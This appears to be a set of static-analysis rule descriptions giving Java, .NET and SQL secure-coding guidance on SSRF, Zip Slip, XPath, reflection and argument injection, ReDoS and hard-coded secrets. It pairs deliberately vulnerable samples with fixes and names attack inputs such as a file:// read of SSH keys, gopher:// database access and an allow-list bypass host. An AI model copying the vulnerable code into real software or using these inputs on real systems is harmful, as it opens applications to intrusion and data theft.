In most cases, it is discouraged to build JSON strings with a direct concatenation of user input. While not always possible, a strong pattern-based validation can help sanitize tainted inputs. Likewise, converting to a harmless type can sometimes be a solution.

However, avoiding handling objects' properties as strings by directly constructing Java objects should be the preferred way.

Programmatic object building

In most cases, an application can directly create objects from user input without having to build and parse a JSON string. Doing so prevents injection vulnerabilities as JSON object construction libraries and functions will properly escape and check the type of input values.

Sometimes, the application might need to include the user input in an object built from a trusted JSON string. In that case, the recommended solution is to parse the trusted string first and then programmatically modify the resulting object.

The example compliant code uses the org.json libraries capabilities to dynamically build a JSON object without string parsing.

Converting to a harmless type

When the application allows it, converting user-submitted data to a harmless type can help prevent JSON injection vulnerabilities. In particular, converting user inputs to numeric types is an efficient sanitation mechanism.

This mechanism can be extended to other types, including more complex ones. However, care should be taken when dealing with them, as manually validating or sanitizing complex types can represent a challenge.

Note that choosing this solution can be error-prone: every user input has to be validated or sanitized without oversight.

Resources

Documentation

• CVE-2018-3879 - An exploitable JSON injection vulnerability

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-76 - Improper Neutralization of Equivalent Special Elements

Why is this an issue?

Server-Side Request Forgery (SSRF) occurs when attackers can coerce a server to perform arbitrary requests on their behalf.

An SSRF vulnerability can either be basic or blind, depending on whether the server’s fetched data is directly returned in the web application’s response.
The absence of the corresponding response for the coerced request on the application is not a barrier to exploitation and thus must be treated in the same way as basic SSRF.

What is the potential impact?

SSRF usually results in unauthorized actions or data disclosure in the vulnerable application or on a different system it can reach. Conditional to what is reachable, remote command execution can be achieved, although it often requires chaining with further exploitations.

Information disclosure is SSRF’s core outcome. Depending on the extracted data, an attacker can perform a variety of different actions that can range from low to critical severity.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Local file read to host takeover

An attacker manipulates an application into performing a local request for a sensitive file, such as ~/.ssh/id_rsa, by using the File URI scheme file://.
Once in possession of the SSH keys, the attacker establishes a remote connection to the system hosting the web application.

Internal Network Reconnaissance

An attacker enumerates internal accessible ports from the affected server or others to which the server can communicate by iterating over the port field in the URL http://127.0.0.1:{port}.
Taking advantage of other supported URL schemas (dependent on the affected system), for example, gopher://127.0.0.1:3306, an attacker would be able to connect to a database service and perform queries on it.

How to fix it in Java SE

Code examples

The following code is vulnerable to SSRF as it performs an HTTP request to a URL defined by untrusted data.

Noncompliant code example

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String location = req.getParameter("url");

    URL url = new URL(location);

    HttpURLConnection  conn = (HttpURLConnection) url.openConnection();
}

Compliant solution

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String location = req.getParameter("url");

    List<String> allowedHosts = new ArrayList<String>();
    allowedHosts.add("https://trusted1.example.com/");
    allowedHosts.add("https://trusted2.example.com/");

    URL url = new URL(location);

    if (allowedHosts.contains(location))
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
}

How does this work?

The application should avoid opening URLs that are constructed with untrusted data.

When such a feature is strictly necessary, SSRF can be mitigated by applying an allow-list of trustable schemes and domains.

The compliant code example uses such an approach.

Pitfalls

The trap of 'StartsWith' and equivalents

When validating untrusted URLs by checking if they start with a trusted scheme and authority pair scheme://authority, ensure that the validation string contains a path separator / as the last character.

If the validation string does not contain a terminating path separator, the SSRF vulnerability remains; only the exploitation technique changes.

Thus, a validation like startsWith("https://example.com") or an equivalent with the regex ^https://example\.com.* can be exploited with the following URL https://example.commit.malicious.io.

Resources

Standards

• OWASP Top 10 2021 Category A10 - Server-Side Request Forgery (SSRF)
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-918 - Server-Side Request Forgery (SSRF)

Constructing arguments of system commands from user input is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2016-9920
• CVE-2021-29472

Arguments of system commands are processed by the executed program. The arguments are usually used to configure and influence the behavior of the programs. Control over a single argument might be enough for an attacker to trigger dangerous features like executing arbitrary commands or writing files into specific directories.

Ask Yourself Whether

• Malicious arguments can result in undesired behavior in the executed command.
• Passing user input to a system command is not necessary.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Avoid constructing system commands from user input when possible.
• Ensure that no risky arguments can be injected for the given program, e.g., type-cast the argument to an integer.
• Use a more secure interface to communicate with other programs, e.g., the standard input stream (stdin).

Sensitive Code Example

Arguments like -delete or -exec for the find command can alter the expected behavior and result in vulnerabilities:

String input = request.getParameter("input");
String cmd[] =  new String[] { "/usr/bin/find", input };
Runtime.getRuntime().exec(cmd); // Sensitive

Compliant Solution

Use an allow-list to restrict the arguments to trusted values:

String input = request.getParameter("input");
if (allowed.contains(input)) {
  String cmd[] =  new String[] { "/usr/bin/find", input };
  Runtime.getRuntime().exec(cmd);
}

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-88 - Argument Injection or Modification
• SANS Top 25 - Insecure Interaction Between Components
• CVE-2021-29472 - PHP Supply Chain Attack on Composer

Why is this an issue?

Reflection injections occur in a web application when it retrieves data from a user or a third-party service and fully or partially uses it to inspect, load or invoke a component by name.

If an application uses a reflection method in a way that is vulnerable to injections, it is exposed to attacks that aim to achieve remote code execution on the server’s website.

A user with malicious intent exploits this by carefully crafting a string involving symbols such as class methods, that will help them change the initial reflection logic to an impactful malicious one.

After creating the malicious request and triggering it, the attacker can attack the servers affected by this vulnerability without relying on any pre-requisites.

What is the potential impact?

If user-supplied values are used to choose which code is executed, an attacker may be able to supply carefully-chosen values that cause unexpected code to run. The attacker can use this ability to run arbitrary code on the server.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Application-specific attacks

In this scenario, the attackers succeed in injecting a seemingly-legitimate object, but whose properties might be used maliciously.

Depending on the application, attackers might be able to modify important data structures or content to escalate privileges or perform unwanted actions. For example, with an e-commerce application, this could be changing the number of products or prices.

Full application compromise

In the worst-case scenario, the attackers succeed in injecting an object triggering code execution.

Depending on the attacker, code execution can be used with different intentions:

• Download the internal server’s data, most likely to sell it.
• Modify data, install malware, for instance, malware that mines cryptocurrencies.
• Stop services or exhaust resources, for instance, with fork bombs.

This threat is particularly insidious if the attacked organization does not maintain a Disaster Recovery Plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker additionally manages to elevate their privileges as an administrator and attack other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised through a combination of unsafe deserialization and misconfiguration:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in Java SE

Code examples

In the following example, the code simulates a feature in an image editing application that allows users to install plugins to add new filters or effects. It assumes the user will give a known name, such as "SepiaEffect".

Noncompliant code example

import java.lang.Class;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

@RestController
public class EffectController
{
    @GetMapping(value = "/filter/apply")
    @ResponseBody
    public ResponseEntity<String> apply(@RequestParam("effect") String effectName)
    {
        try
        {
            Class effectClass                = Class.forName(effectName);  // Noncompliant
            Constructor<?> effectConstructor = effectClass.getConstructor();
            Object EffectObject              = effectConstructor.newInstance();
            Method applyMethod               = effectClass.getMethod("applyFilter");

            boolean result = (boolean) applyMethod.invoke(EffectObject);

        } catch (Exception e) {}

        if (result)
        {
            return new ResponseEntity<>("Filter Applied", HttpStatus.OK);
        }
        else
        {
            return new ResponseEntity<>("Filter Failure", HttpStatus.FORBIDDEN);
        }
    }
}

Compliant solution

import java.lang.Class;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

@RestController
public class EffectController
{
    private static Set<String> EFFECT_ALLOW_LIST = new HashSet<>();

    static
    {
        allowList.add("SepiaEffect");
        allowList.add("BlackAndWhiteEffect");
        allowList.add("WaterColorEffect");
        allowList.add("OilPaintingEffect");
    }

    @GetMapping(value = "/filter/apply")
    @ResponseBody
    public ResponseEntity<String> apply(@RequestParam("effect") String effectName)
    {
        if (!EFFECT_ALLOW_LIST.contains(effectName)) {
            return new ResponseEntity<>("Filter Failure", HttpStatus.FORBIDDEN);
        }

        try
        {
            Class effectClass                = Class.forName(effectName);
            Constructor<?> effectConstructor = effectClass.getConstructor();
            Object EffectObject              = effectConstructor.newInstance();
            Method applyMethod               = effectClass.getMethod("applyFilter");

            boolean result = (boolean) applyMethod.invoke(EffectObject);

        } catch (Exception e) {}

        if (result) {
            return new ResponseEntity<>("Filter Applied", HttpStatus.OK);
        }
        else {
            return new ResponseEntity<>("Filter Failure", HttpStatus.FORBIDDEN);
        }
    }
}

How does this work?

Pre-Approved commands

The cleanest way to avoid this defect is to validate the input before using it in a reflection method.

Create a list of authorized and secure classes that you want the application to be able to execute.
If a user input does not match an entry in this list, it should be rejected because it is considered unsafe.

Important note: The application must do validation on the server side. Not on client-side front-ends.

Resources

Articles & blog posts

• SANS, Top 25 Software Errors - Insecure Interaction Between Components

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Why is this an issue?

Zip slip is a special case of path injection. It occurs when an application uses the name of an archive entry to construct a file path and access this file without validating its path first.

This rule will consider all archives untrusted, assuming they have been created outside the application file system.

A user with malicious intent would inject specially crafted values, such as ../, in the archive entry name to change the initial intended path. The resulting path would resolve somewhere in the filesystem where the user should not normally have access.

What is the potential impact?

A web application is vulnerable to Zip Slip and an attacker is able to exploit it by submitting an archive he controls.

The files that can be affected are limited by the permission of the process that runs the application. Worst case scenario: the process runs with root privileges on Linux, and therefore any file can be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Override arbitrary files

The application opens the archive to copy its entries to the file system. The entries' names contain path traversal payloads for existing files in the system, which are overwritten once the entries are copied. The vulnerability is exploited to corrupt files critical for the application or operating system to work properly.

It could result in data being lost or the application being unavailable.

How to fix it in Java SE

Code examples

The following code is vulnerable to Zip Slip as it is constructing a path using an archive entry name. This path is then used to copy a file without being validated first. Therefore, it can be leveraged by an attacker to overwrite arbitrary files.

Noncompliant code example

public class Example {

    static private String targetDirectory = "/example/directory/";

    public void ExtractEntry(ZipFile zipFile) throws IOException {

        Enumeration<? extends ZipEntry> entries = zipFile.entries();
        ZipEntry entry = entries.nextElement();
        InputStream inputStream = zipFile.getInputStream(entry);

        File file = new File(targetDirectory + entry.getName());

        Files.copy(inputStream, file.toPath(), StandardCopyOption.REPLACE_EXISTING);
    }
}

Compliant solution

public class Example {

    static private String targetDirectory = "/example/directory/";

    public void ExtractEntry(ZipFile zipFile) throws IOException {

        Enumeration<? extends ZipEntry> entries = zipFile.entries();
        ZipEntry entry = entries.nextElement();
        InputStream inputStream = zipFile.getInputStream(entry);

        File file = new File(targetDirectory + entry.getName());

        String canonicalDestinationPath = file.getCanonicalPath();

        if (canonicalDestinationPath.startsWith(targetDirectory)) {
            Files.copy(inputStream, file.toPath(), StandardCopyOption.REPLACE_EXISTING, LinkOption.NOFOLLOW_LINKS);
        }
    }
}

How does this work?

The universal way to prevent Zip Slip is to validate the paths constructed from untrusted archive entry names.

The validation should be done as follow:

1. Resolve the canonical path of the file by using methods like java.io.File.getCanonicalFile or java.io.File.getCanonicalPath. This will resolve relative path or path components like ../ and removes any ambiguity regarding the file’s location.
2. Check that the canonical path is within the directory where the file should be located.
3. Ensure the target directory path ends with a forward slash to prevent partial path traversal, for example, /base/dirmalicious starts with /base/dir but does not start with /base/dir/.

Pitfalls

Partial Path Traversal

When validating untrusted paths by checking if they start with a trusted folder name, ensure the validation strings all contain a path separator as the last character.
A partial path traversal vulnerability can be unintentionally introduced into the application without a path separator as the last character of the validation strings.

For example, the following code is vulnerable to partial path injection. Note that the string targetDirectory does not end with a path separator:

static private String targetDirectory = "/Users/John";

public void ExtractEntry(ZipFile zipFile) throws IOException {

    Enumeration<? extends ZipEntry> entries = zipFile.entries();
    ZipEntry entry = entries.nextElement();
    InputStream inputStream = zipFile.getInputStream(entry);

    File file = new File(entry.getName());

    String canonicalDestinationPath = file.getCanonicalPath();

    if (canonicalDestinationPath.startsWith(targetDirectory)) {
        Files.copy(inputStream, file.toPath(), StandardCopyOption.REPLACE_EXISTING, LinkOption.NOFOLLOW_LINKS);
    }
}

This check can be bypassed because "/Users/Johnny".startsWith("/Users/John") returns true. Thus, for validation, "/Users/John" should actually be "/Users/John/".

Warning: Some functions, such as .getCanonicalPath, remove the terminating path separator in their return value.
The validation code should be tested to ensure that it cannot be impacted by this issue.

Here is a real-life example of this vulnerability.

Resources

Documentation

• snyk - Zip Slip Vulnerability

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Why is this an issue?

XPath injections occur in an application when the application retrieves untrusted data and inserts it into an XML Path (XPath) query without sanitizing it first.

What is the potential impact?

In the context of a web application vulnerable to XPath injection:
After discovering the injection point, attackers insert data into the vulnerable field to execute malicious commands in the affected XML documents.

The impact of this vulnerability depends on the importance of XML structures in the enterprise.
In cases where organizations rely on XML structures for business-critical operations or where XML is used only for innocuous data transport, the severity of an attack ranges from critical to harmless.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Data Leaks

A malicious XPath query allows direct data leakage from one or more databases. Although XML is not as widely used as it once was, this possibility still exists with configuration files, for example.

Data deletion and denial of service

The malicious query allows the attacker to delete data in the affected XML documents.
This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP) and if XML structures are considered important, as missing critical data can disrupt the regular operations of an organization.

How to fix it in Java SE

Code examples

The following noncompliant code is vulnerable to XPath injections because untrusted data is concatenated to an XPath query without prior validation.

Noncompliant code example

public boolean authenticate(HttpServletRequest req, XPath xpath, Document doc) throws XPathExpressionException {
  String user = request.getParameter("user");
  String pass = request.getParameter("pass");

  String expression = "/users/user[@name='" + user + "' and @pass='" + pass + "']";

  return (boolean)xpath.evaluate(expression, doc, XPathConstants.BOOLEAN);
}

Compliant solution

public boolean authenticate(HttpServletRequest req, XPath xpath, Document doc) throws XPathExpressionException {
  String user = request.getParameter("user");
  String pass = request.getParameter("pass");

  String expression = "/users/user[@name=$user and @pass=$pass]";

  xpath.setXPathVariableResolver(v -> {
    switch (v.getLocalPart()) {
      case "user":
        return user;
      case "pass":
        return pass;
      default:
        throw new IllegalArgumentException();
    }
  });

  return (boolean)xpath.evaluate(expression, doc, XPathConstants.BOOLEAN);
}

How does this work?

As a rule of thumb, the best approach to protect against injections is to systematically ensure that untrusted data cannot break out of the initially intended logic.

Parameterized Queries

For XPath injections, the cleanest way to do so is to use parameterized queries.

XPath allows for the usage of variables inside expressions in the form of $variable. XPath variables can be used to construct an XPath query without needing to concatenate user arguments to the query at runtime. Here is an example of an XPath query with variables:

/users/user[@user=$user and @pass=$pass]

When the XPath query is executed, the user input is passed alongside it. During execution, when the values of the variables need to be known, a resolver will return the correct user input for each variable. The contents of the variables are not considered application logic by the XPath executor, and thus injection is not possible.

In the example, a parameterized XPath query is created, and an XPathVariableResolver is used to securely insert untrusted data into the query, similar to parameterized SQL queries.

Validation

In case XPath parameterized queries are not available, the most secure way to protect against injections is to validate the input before using it in an XPath query.

Important: The application must do this validation server-side. Validating this client-side is insecure.

Input can be validated in multiple ways:

• By checking against a list of authorized and secure strings that the application is allowed to use in a query.
• By ensuring user input is restricted to a specific range of characters (e.g., the regex /^[a-zA-Z0-9]*$/ only allows alphanumeric characters.)
• By ensuring user input does not include any XPath metacharacters, such as ", ', /, @, =, *, [, ], ( and ).

If user input is not considered valid, it should be rejected as it is unsafe.

For Java, OWASP’s Enterprise Security API offers encodeForXPath which sanitizes metacharacters automatically.

Resources

Articles & blog posts

• OWASP, XPath Injection Prevention Cheat Sheet
• Ambionics, XPath Injection Section of "Hacking WatchGuard Firewalls'

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-643 - Improper Neutralization of Data within XPath Expressions

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2006-5901
• CVE-2005-3725

Today’s services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery, and deployment:

• The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
• It misleads to use the same address in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service, try to get access to the system, or try to spoof the IP address to bypass security checks. Such attacks can always be possible, but in the case of a hardcoded IP address solving the issue will take more time, which will increase an attack’s impact.

Ask Yourself Whether

The disclosed IP address is sensitive, e.g.:

• Can give information to an attacker about the network topology.
• It’s a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don’t hard-code the IP address in the source code, instead make it configurable with environment variables, configuration files, or a similar approach. Alternatively, if confidentially is not required a domain name can be used since it allows to change the destination quickly without having to rebuild the software.

Sensitive Code Example

ip = "192.168.12.42"; // Sensitive

Compliant Solution

ip = IP_ADDRESS; // Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

• Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
• Broadcast address 255.255.255.255
• Non-routable address 0.0.0.0
• Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID)
• Addresses in the ranges 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, reserved for documentation purposes by RFC 5737
• Addresses in the range 2001:db8::/32, reserved for documentation purposes by RFC 3849

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

• CVE-2019-13466
• CVE-2018-15389

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It’s recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", …​

Ask Yourself Whether

• Credentials allow access to a sensitive component like a database, a file storage, an API or a service.
• Credentials are used in production environments.
• Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Store the credentials in a configuration file that is not pushed to the code repository.
• Store the credentials in a database.
• Use your cloud provider’s service for managing secrets.
• If a password has been disclosed through the source code: change it.

See

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• MITRE, CWE-798 - Use of Hard-coded Credentials
• MITRE, CWE-259 - Use of Hard-coded Password
• SANS Top 25 - Porous Defenses
• Derived from FindSecBugs rule Hard Coded Password

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

• CVE-2019-13466
• CVE-2018-15389

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It’s recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", …​

Ask Yourself Whether

• Credentials allow access to a sensitive component like a database, a file storage, an API or a service.
• Credentials are used in production environments.
• Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Store the credentials in a configuration file that is not pushed to the code repository.
• Store the credentials in a database.
• Use your cloud provider’s service for managing secrets.
• If a password has been disclosed through the source code: change it.

See

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• MITRE, CWE-798 - Use of Hard-coded Credentials
• MITRE, CWE-259 - Use of Hard-coded Password
• SANS Top 25 - Porous Defenses
• Derived from FindSecBugs rule Hard Coded Password

This rule is deprecated; use S4790 instead.

Why is this an issue?

The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160.

Consider using safer alternatives, such as SHA-256, SHA-512 or SHA-3.

Noncompliant code example

SELECT HASHBYTES('SHA1', MyColumn) FROM dbo.MyTable;

Compliant solution

SELECT HASHBYTES('SHA2_256', MyColumn) FROM dbo.MyTable;

Resources

• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-328 - Reversible One-Way Hash
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses
• SHAttered - The first concrete collision attack against SHA-1.

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2006-5901
• CVE-2005-3725

Today’s services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery, and deployment:

• The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
• It misleads to use the same address in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service, try to get access to the system, or try to spoof the IP address to bypass security checks. Such attacks can always be possible, but in the case of a hardcoded IP address solving the issue will take more time, which will increase an attack’s impact.

Ask Yourself Whether

The disclosed IP address is sensitive, e.g.:

• Can give information to an attacker about the network topology.
• It’s a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don’t hard-code the IP address in the source code, instead make it configurable with environment variables, configuration files, or a similar approach. Alternatively, if confidentially is not required a domain name can be used since it allows to change the destination quickly without having to rebuild the software.

Sensitive Code Example

SET @IP = '192.168.12.42'; -- Sensitive

Compliant Solution

SET @IP  = (SELECT ip_address FROM configuration);  -- Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

• Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
• Broadcast address 255.255.255.255
• Non-routable address 0.0.0.0
• Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID)
• Addresses in the ranges 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, reserved for documentation purposes by RFC 5737

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure

Executing code dynamically is security sensitive. It has led in the past to the following vulnerabilities:

• CVE-2017-9807
• CVE-2017-9802

Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application’s security.

Both EXECUTE( ... ) and EXEC( ... ) execute as a command the string passed as an argument. They are safe only if the argument is composed of constant character string expressions. But if the command string is dynamically built using external parameters, then it is considered very dangerous because executing a random string allows the execution of arbitrary code.

This rule marks for review each occurrence of EXEC and EXECUTE. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully. The goal is to guide security code reviews.

Ask Yourself Whether

• the executed code may come from an untrusted source and hasn’t been sanitized.
• you really need to run code dynamically.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

The best solution is to not run code provided by an untrusted source. If you really need to build a command string using external parameters, you should use EXEC sp_executesql instead.

Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way.

Sensitive Code Example

CREATE PROCEDURE USER_BY_EMAIL(@email VARCHAR(255)) AS
BEGIN
  EXEC('USE AuthDB; SELECT id FROM user WHERE email = ''' + @email + ''' ;'); -- Sensitive: could inject code using @email
END

Compliant Solution

CREATE PROCEDURE USER_BY_EMAIL(@email VARCHAR(255)) AS
BEGIN
  EXEC sp_executesql 'USE AuthDB; SELECT id FROM user WHERE email = @user_email;',
                     '@user_email VARCHAR(255)',
                      @user_email = @email;
END

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is possible to have collisions (little computational effort is enough to find two or more different inputs that produce the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

• User-password storage.
• Security token generation (used to confirm e-mail when registering on a website, reset password, etc …​).
• To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 are recommended, and for password hashing, it’s even better to use algorithms that do not compute too "quickly", like bcrypt, scrypt, argon2 or pbkdf2 because it slows down brute force attacks.

Sensitive Code Example

SELECT HASHBYTES('SHA1', MyColumn) FROM dbo.MyTable;

Compliant Solution

SELECT HASHBYTES('SHA2_512', MyColumn) FROM dbo.MyTable;

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-1240 - Use of a Risky Cryptographic Primitive
• SANS Top 25 - Porous Defenses

Why is this an issue?

Regular expression injections occur when the application retrieves untrusted data and uses it as a regex to pattern match a string with it.

Most regular expression search engines use backtracking to try all possible regex execution paths when evaluating an input. Sometimes this can lead to performance problems also referred to as catastrophic backtracking situations.

What is the potential impact?

In the context of a web application vulnerable to regex injection:
After discovering the injection point, attackers insert data into the vulnerable field to make the affected component inaccessible.

Depending on the application’s software architecture and the injection point’s location, the impact may or may not be visible.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Self Denial of Service

In cases where the complexity of the regular expression is exponential to the input size, a small, carefully-crafted input (for example, 20 chars) can trigger catastrophic backtracking and cause a denial of service of the application.

Super-linear regex complexity can produce the same effects for a large, carefully crafted input (thousands of chars).

If the component jeopardized by this vulnerability is not a bottleneck that acts as a single point of failure (SPOF) within the application, the denial of service might only affect the attacker who initiated it.

Such benign denial of service can also occur in architectures that rely heavily on containers and container orchestrators. Replication systems would detect the failure of a container and automatically replace it.

Infrastructure SPOFs

However, a denial of service attack can be critical to the enterprise if it targets a SPOF component. Sometimes the SPOF is a software architecture vulnerability (such as a single component on which multiple critical components depend) or an operational vulnerability (for example, insufficient container creation capabilities or failures from containers to terminate).

In either case, attackers aim to exploit the infrastructure weakness by sending as many malicious payloads as possible, using potentially huge offensive infrastructures.

These threats are particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

How to fix it in .NET

Code examples

The following noncompliant code is vulnerable to Regex Denial of Service because untrusted data is used as a regex to scan a string without prior sanitization or validation.

Noncompliant code example

public class ExampleController : Controller
{
    public IActionResult Validate(string regex, string input)
    {
        bool match = Regex.IsMatch(input, regex);

        return Json(match);
    }
}

Compliant solution

public class ExampleController : Controller
{
    public IActionResult Validate(string regex, string input)
    {
        bool match = Regex.IsMatch(input, Regex.Escape(regex));

        return Json(match);
    }
}

How does this work?

Sanitization and Validation

Metacharacters escape using native functions is a solution against regex injection.
The escape function sanitizes the input so that the regular expression engine interprets these characters literally.

An allowlist approach can also be used by creating a list containing authorized and secure strings you want the application to use in a query.
If a user input does not match an entry in this list, it should be considered unsafe and rejected.

Important Note: The application must sanitize and validate on the server side. Not on client-side front end.

Where possible, use non-backtracking regex engines, for example, Google’s re2.

In the compliant solution example, Regex.Escape escapes metacharacters and escape sequences that could have broken the initially intended logic.

Resources

Articles & blog posts

• OWASP Regular expression Denial of Service - ReDoS

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-400 - Uncontrolled Resource Consumption
• MITRE, CWE-1333 - Inefficient Regular Expression Complexity

Why is this an issue?

Deserialization injections occur when applications deserialize wholly or partially untrusted data without verification.

What is the potential impact?

In the context of a web application performing unsafe deserialization:
After detecting the injection vector, attackers inject a carefully-crafted payload into the application.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Application-specific attacks

In this scenario, the attackers succeed in injecting an object of the expected class, but with malicious properties that affect the object’s behavior.

If the application relies on the properties of the deserialized object, attackers can modify the data structure or content to escalate privileges or perform unwanted actions.
In the context of an e-commerce application, this could be changing the number of products or prices.

Full application compromise

In the worst-case scenario, the attackers succeed in injecting an object of a completely different class than expected, triggering code execution.

Depending on the attacker, code execution can be used with different intentions:

• Download the internal server’s data, most likely to sell it.
• Modify data, install malware, for instance, malware that mines cryptocurrencies.
• Stop services or exhaust resources, for instance, with fork bombs.

This threat is particularly insidious if the attacked organization does not maintain a Disaster Recovery Plan (DRP).

Root privilege escalation and pivot

